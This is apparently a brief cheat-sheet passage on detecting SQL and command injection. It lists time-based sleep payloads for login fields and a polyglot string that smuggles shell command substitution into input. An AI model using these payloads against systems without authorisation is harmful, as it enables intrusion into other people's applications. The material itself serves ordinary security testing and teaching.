Inject single quote ' or double quote " and see an error.
Inject Sleep and detect a delayed response.

admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1

A polyglot is a sequence working for many different scenarios

a/*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"`